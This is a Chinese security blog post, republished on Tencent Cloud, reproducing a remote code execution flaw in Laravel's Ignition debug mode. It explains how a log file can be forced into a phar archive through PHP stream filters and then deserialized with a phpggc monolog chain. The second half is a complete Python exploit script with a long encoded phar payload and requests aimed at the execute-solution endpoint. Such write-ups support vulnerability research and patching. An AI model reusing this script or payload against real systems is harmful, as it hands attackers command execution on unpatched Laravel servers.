前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >全网首发!laravel 远程代码执行漏洞POC

全网首发!laravel 远程代码执行漏洞POC

作者头像
黑伞安全
发布2021-01-29 14:17:46
3.6K0
发布2021-01-29 14:17:46
举报
文章被收录于专栏:黑伞安全黑伞安全

laravel Remote code execute on debug mode复现

2021-1-12号,看到国外的师傅,挖了个laravel的命令执行,而且还用了两种方法, 感觉第一种方法姿势是真的妙,赶紧复现来学习一波。

获取代码

代码语言:javascript
复制
$ git clone https://github.com/laravel/laravel.git
$ cd laravel
$ git checkout e849812
$ composer install
$ composer require facade/ignition==2.5.1
$ php artisan serve

需要版本>7.3

打开laravel的debug mode

可以看到需要我们生成一个app_key

生成app_key

然后我们把根目录的.env.example复制一份,加上我们的key 生成一下app_key

然后返回网站点击一下生成Generate app key再刷新一下就正常了

正常访问

这里在resources\views中添加一个自定的viewevil.blade.php内容如下

代码语言:javascript
复制
DOCTYPE html>
<html lang="{{ str_replace('_', '-', app()->getLocale()) }}">

    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">

    Evil


<body class="antialiased">
<div id="evil">
    {{$username }}
    Mrkaixin-evil

接着配置路由,在routes\web.php中添加如下内容:

代码语言:javascript
复制
Route::get('/evil', function () {
    return view('evil');
});

浏览器访问:http://your_ip/public/evil

访问可得

在调试模式下,Ignition会教如何修正这个错误,由于这个username没有被定义,所以他的解决方法是将username替换成

一共有如下钟solution

我们同burp抓下这个包。

json格式如下: solution: 表示解决这个方法的类 valirabelName: 变量名 viewFile:变量名所在的视图文件

这个操作相关的类在 src\SolutionProviders\SolutionProviderRepository.php之中 下个断点

通过跟进调试,可以发现solution都是通过ExecuteSolutionController来执行各自的run方法 $solution->get

所以我们跟进一下这个MakeViewVariableOptionalSolution.php 可以看到他从可控的参数中获取到了值

接着跟进makeOptional方法 读取再写入

这里可以看到其实就是一个从文件中取出来,修改之后写进去的逻辑。但是并不是任意文件可写的,代码中做了一个预期token的设定。 当我们的修改没有大于这个预期值的时候,就可以直接将内容写进去。

之前再挖Laminas的时候,写入shell的思路和这个基本相似,先从文件中读取,然后替换后再吧可控的内容写进去。 但是这一题情况有些不一样,这题允许写入的文件种类有: 1. view模板中出现未定定义的变量(正常solution) 2. 本身就存在的文件。(但是其实上能做到的,最多是破坏整个文件,无法添加我们想要的内容) 3. 日志文件(当laravel报错之后,会默认将报错写入storage\logs\laravel.log中。)

第三种情况如下: 读取不存在的文件Mrkaixin

日志中的表现如下

这样,如果我们特意利用file_get_contens来读取一个不存在的文件(payload)的话,系统就会自动将我们的payload写入到日志中。 那么这样,整个日志中就有我们可以控制的内容出现。

利用

log文件不会被当做php文件解析,所以就算能写进去又能怎样了?这时候自然想到了phar文件,因为phar文件标准是,是否携带了正常的头部。而不是根据后缀名。

所以如果我们可以将整个log文件控制成一个phar文件的话,那么我们再利用file_get_contents('phar:///var/www/html/storage/logs/laravel.log/test.txt')即可触发对应的反序列化文件。

清空日志文件

这里利用的是php://filter中的baes64过滤器的一个特性

代码语言:javascript
复制
$str = "!....!....!...".base64_encode("mrkaixin")."!....!....!...";
echo file_get_contents('php://filter/read=convert.base64-decode/resource=data:,'.$str);

output:
mrkaixin[Finished in 0.2s]

这里我们可以看到,这个直接输出了mrkaixin,自动去除了一些符号。所以我们这里可以利用这个方法来将日志中的一些符号去除掉,但是仍然会留下一部分字符,这样的文件也是不够纯净的。

所以需要,尽量把之前的所有内容,都转化成为一个个符号,最后通过base64过滤器,一并清除掉。

这里原作者利用的是utf-16->utf-8来达到这个效果的。可以看以下这个demo

代码语言:javascript
复制
$payload = base64_encode("mrkaixin");
$data = "fake".iconv('utf-8','utf-16le',$payload)."mrkaixin";

$temp = file_get_contents('php://filter/read=convert.iconv.utf-16le.utf-8/resource=data:;base64,'.base64_encode($data))."\n";

echo file_get_contents('php://filter/read=convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=data:;base64,'.base64_encode($data));

output:
mrkaixin

这里可以看到payload前后的所有字符都被清除了。

printable.encode过滤器

这样我们就可以往日志文件中写入任意文件了。但是这样我们并不好在传输,存在很多不可见字符。

所以我们看样套一层过滤器,convert.quoted-printable-encode。php脚本如下:

代码语言:javascript
复制
$fp = fopen('php://output', 'w');

stream_filter_append($fp, 'convert.quoted-printable-encode');

fwrite($fp, iconv('utf-8','utf-16le',base64_encode("Mrkaixin")));

这样我们得到data:T=00X=00J=00r=00Y=00W=00l=004=00a=00W=004=00=3D=00

那么写一个脚本来验证一下是否能写进去。

注意: 1. 在写入的过程中,由于字符数量不满足,printable-decode的要求,会导致convert.quoted-printable-decode报错,我们可以在生成的payload前添加几个点。 2. 为了保证整个日志所有的字符数量为偶数,先发送一个包来满足这个需求。

phar反序列化

由于laravel的日志系统使用的是monolog,

所以这个部分,可以参考phpggc中的链子monolog-rce1。

这里我们使用 gcc来构造一下就行了。这里直接贴原作者的shell命令了

代码语言:javascript
复制
php -d'phar.readonly=0' ./phpggc monolog/rce1 system id --phar phar -o php://output | base64 -w0 | sed -E 's/./\0=00/g'

(之后有时间在更新这个部分。)

验证脚本

最后整合到我们的脚本当中来

代码语言:javascript
复制
import requests

target_url = "http://localhost:85/public/index.php/_ignition/execute-solution"

session = requests.Session()

def clean_cache():
    flag = 0
    while True:
        if get_log_length()==0:
            flag=1
            print("[+] 缓存已被清除")
            return True

        if flag ==0:
            rawBody = "{\"solution\":\"Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution\",\"parameters\":{\"variableName\":\"username\",\"viewFile\":\"php://filter/write=convert.base64-decode|convert.base64-decode/resource=/var/www/html/storage/logs/laravel.log\"}}"
            headers = { "Accept": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", "Connection": "close", "Sec-Fetch-Mode": "cors", "Content-Type": "application/json"}
            session.post(target_url, data=rawBody, headers=headers)
            print("[*]清除缓存")

            l  = get_log_length()
            if l==0:
                flag = 1
                print("[+] 缓存已被清除")
                return True
            else:
                print("[!] " +str(l)+"缓存未被清除")


def get_log_length():
    return len(session.get("http://localhost:85/storage/logs/laravel.log").content)


def trigger_poc():
    rawBody = "{\"solution\":\"Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution\",\"parameters\":{\"variableName\":\"username\",\"viewFile\":\"php://filter/write=convert.quoted-printable-decode|convert.iconv.utf16le.utf-8|convert.base64-decode/resource=/var/www/html/storage/logs/laravel.log\"}}"
    headers = { "Accept": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", "Connection": "close", "Sec-Fetch-Mode": "cors", "Content-Type": "application/json"}
    session.post(target_url, data=rawBody, headers=headers)

def send_poc1():
    poc = "AA"
    rawBody = "{\"solution\":\"Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution\",\"parameters\":{\"variableName\":\"username\",\"viewFile\":\"%s\"}}"%poc
    headers = { "Accept": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", "Connection": "close", "Sec-Fetch-Mode": "cors", "Content-Type": "application/json"}
    session.post(target_url, data=rawBody, headers=headers)


def send_poc2():
    poc = "...............P=00D=009=00w=00a=00H=00A=00g=00X=001=009=00I=00Q=00U=00x=00U=00X=000=00N=00P=00T=00V=00B=00J=00T=00E=00V=00S=00K=00C=00k=007=00I=00D=008=00+=00D=00Q=00q=009=00A=00g=00A=00A=00A=00g=00A=00A=00A=00B=00E=00A=00A=00A=00A=00B=00A=00A=00A=00A=00A=00A=00B=00m=00A=00g=00A=00A=00T=00z=00o=00z=00M=00j=00o=00i=00T=00W=009=00u=00b=002=00x=00v=00Z=001=00x=00I=00Y=00W=005=00k=00b=00G=00V=00y=00X=00F=00N=005=00c=002=00x=00v=00Z=001=00V=00k=00c=00E=00h=00h=00b=00m=00R=00s=00Z=00X=00I=00i=00O=00j=00E=006=00e=003=00M=006=00O=00T=00o=00i=00A=00C=00o=00A=00c=002=009=00j=00a=002=00V=000=00I=00j=00t=00P=00O=00j=00I=005=00O=00i=00J=00N=00b=002=005=00v=00b=00G=009=00n=00X=00E=00h=00h=00b=00m=00R=00s=00Z=00X=00J=00c=00Q=00n=00V=00m=00Z=00m=00V=00y=00S=00G=00F=00u=00Z=00G=00x=00l=00c=00i=00I=006=00N=00z=00p=007=00c=00z=00o=00x=00M=00D=00o=00i=00A=00C=00o=00A=00a=00G=00F=00u=00Z=00G=00x=00l=00c=00i=00I=007=00T=00z=00o=00y=00O=00T=00o=00i=00T=00W=009=00u=00b=002=00x=00v=00Z=001=00x=00I=00Y=00W=005=00k=00b=00G=00V=00y=00X=00E=00J=001=00Z=00m=00Z=00l=00c=00k=00h=00h=00b=00m=00R=00s=00Z=00X=00I=00i=00O=00j=00c=006=00e=003=00M=006=00M=00T=00A=006=00I=00g=00A=00q=00A=00G=00h=00h=00b=00m=00R=00s=00Z=00X=00I=00i=00O=000=004=007=00c=00z=00o=00x=00M=00z=00o=00i=00A=00C=00o=00A=00Y=00n=00V=00m=00Z=00m=00V=00y=00U=002=00l=006=00Z=00S=00I=007=00a=00T=00o=00t=00M=00T=00t=00z=00O=00j=00k=006=00I=00g=00A=00q=00A=00G=00J=001=00Z=00m=00Z=00l=00c=00i=00I=007=00Y=00T=00o=00x=00O=00n=00t=00p=00O=00j=00A=007=00Y=00T=00o=00y=00O=00n=00t=00p=00O=00j=00A=007=00c=00z=00o=00y=00O=00i=00J=00p=00Z=00C=00I=007=00c=00z=00o=001=00O=00i=00J=00s=00Z=00X=00Z=00l=00b=00C=00I=007=00T=00j=00t=009=00f=00X=00M=006=00O=00D=00o=00i=00A=00C=00o=00A=00b=00G=00V=002=00Z=00W=00w=00i=00O=000=004=007=00c=00z=00o=00x=00N=00D=00o=00i=00A=00C=00o=00A=00a=00W=005=00p=00d=00G=00l=00h=00b=00G=00l=006=00Z=00W=00Q=00i=00O=002=00I=006=00M=00T=00t=00z=00O=00j=00E=000=00O=00i=00I=00A=00K=00g=00B=00i=00d=00W=00Z=00m=00Z=00X=00J=00M=00a=00W=001=00p=00d=00C=00I=007=00a=00T=00o=00t=00M=00T=00t=00z=00O=00j=00E=00z=00O=00i=00I=00A=00K=00g=00B=00w=00c=00m=009=00j=00Z=00X=00N=00z=00b=003=00J=00z=00I=00j=00t=00h=00O=00j=00I=006=00e=002=00k=006=00M=00D=00t=00z=00O=00j=00c=006=00I=00m=00N=001=00c=00n=00J=00l=00b=00n=00Q=00i=00O=002=00k=006=00M=00T=00t=00z=00O=00j=00Y=006=00I=00n=00N=005=00c=003=00R=00l=00b=00S=00I=007=00f=00X=001=00z=00O=00j=00E=00z=00O=00i=00I=00A=00K=00g=00B=00i=00d=00W=00Z=00m=00Z=00X=00J=00T=00a=00X=00p=00l=00I=00j=00t=00p=00O=00i=000=00x=00O=003=00M=006=00O=00T=00o=00i=00A=00C=00o=00A=00Y=00n=00V=00m=00Z=00m=00V=00y=00I=00j=00t=00h=00O=00j=00E=006=00e=002=00k=006=00M=00D=00t=00h=00O=00j=00I=006=00e=002=00k=006=00M=00D=00t=00z=00O=00j=00I=006=00I=00m=00l=00k=00I=00j=00t=00z=00O=00j=00U=006=00I=00m=00x=00l=00d=00m=00V=00s=00I=00j=00t=00O=00O=003=001=009=00c=00z=00o=004=00O=00i=00I=00A=00K=00g=00B=00s=00Z=00X=00Z=00l=00b=00C=00I=007=00T=00j=00t=00z=00O=00j=00E=000=00O=00i=00I=00A=00K=00g=00B=00p=00b=00m=00l=000=00a=00W=00F=00s=00a=00X=00p=00l=00Z=00C=00I=007=00Y=00j=00o=00x=00O=003=00M=006=00M=00T=00Q=006=00I=00g=00A=00q=00A=00G=00J=001=00Z=00m=00Z=00l=00c=00k=00x=00p=00b=00W=00l=000=00I=00j=00t=00p=00O=00i=000=00x=00O=003=00M=006=00M=00T=00M=006=00I=00g=00A=00q=00A=00H=00B=00y=00b=002=00N=00l=00c=003=00N=00v=00c=00n=00M=00i=00O=002=00E=006=00M=00j=00p=007=00a=00T=00o=00w=00O=003=00M=006=00N=00z=00o=00i=00Y=003=00V=00y=00c=00m=00V=00u=00d=00C=00I=007=00a=00T=00o=00x=00O=003=00M=006=00N=00j=00o=00i=00c=003=00l=00z=00d=00G=00V=00t=00I=00j=00t=009=00f=00X=000=00F=00A=00A=00A=00A=00Z=00H=00V=00t=00b=00X=00k=00E=00A=00A=00A=00A=00t=00u=00H=00+=00X=00w=00Q=00A=00A=00A=00A=00M=00f=00n=00/=00Y=00p=00A=00E=00A=00A=00A=00A=00A=00A=00A=00A=00I=00A=00A=00A=00A=00d=00G=00V=00z=00d=00C=005=000=00e=00H=00Q=00E=00A=00A=00A=00A=00t=00u=00H=00+=00X=00w=00Q=00A=00A=00A=00A=00M=00f=00n=00/=00Y=00p=00A=00E=00A=00A=00A=00A=00A=00A=00A=00B=000=00Z=00X=00N=000=00d=00G=00V=00z=00d=00J=00I=00Z=008=00g=00/=00c=009=00p=00l=00b=00i=00C=00y=00N=00i=00M=00P=00A=00R=00G=008=00t=00M=00P=002=00S=00A=00g=00A=00A=00A=00E=00d=00C=00T=00U=00I=00"
    rawBody = "{\"solution\":\"Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution\",\"parameters\":{\"variableName\":\"username\",\"viewFile\":\"%s\"}}"%poc
    headers = { "Accept": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", "Connection": "close", "Sec-Fetch-Mode": "cors", "Content-Type": "application/json"}
    session.post(target_url, data=rawBody, headers=headers,)


def trigger_poc():
    rawBody = "{\"solution\":\"Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution\",\"parameters\":{\"variableName\":\"username\",\"viewFile\":\"php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=/var/www/html/storage/logs/laravel.log\"}}"
    headers = {"Origin":"http://localhost:85","Accept":"application/json","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36","Referer":"http://localhost:85/public/index.php/evil","Connection":"close","Sec-Fetch-Site":"same-origin","Sec-Fetch-Dest":"empty","Accept-Encoding":"gzip, deflate","Accept-Language":"zh-CN,zh;q=0.9","Sec-Fetch-Mode":"cors","Content-Type":"application/json"}
    session.post(target_url, data=rawBody, headers=headers) 


def trigger_phar():
    
    rawBody = "{\"solution\":\"Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution\",\"parameters\":{\"variableName\":\"username\",\"viewFile\":\"phar:///var/www/html/storage/logs/laravel.log/test.txt\"}}"
    headers = {"Origin":"http://localhost:85","Accept":"application/json","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36","Referer":"http://localhost:85/public/index.php/evil","Connection":"close","Sec-Fetch-Site":"same-origin","Sec-Fetch-Dest":"empty","Accept-Encoding":"gzip, deflate","Accept-Language":"zh-CN,zh;q=0.9","Sec-Fetch-Mode":"cors","Content-Type":"application/json"}
    response = session.post(target_url, data=rawBody, headers=headers) 
    print("[+] resp : "+response.text)



def main():
    if(clean_cache()):
        print("[*] Send Poc: ")
        send_poc1()
        print("[+] log length: "+ str(get_log_length()))
        send_poc2()
        print("[+] log length: "+ str(get_log_length()))
        trigger_poc()
        print("[+] log length: "+str(get_log_length()))
        trigger_phar()

if __name__ == "__main__":
    main()
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-01-14,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 黑伞攻防实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
文件存储
文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档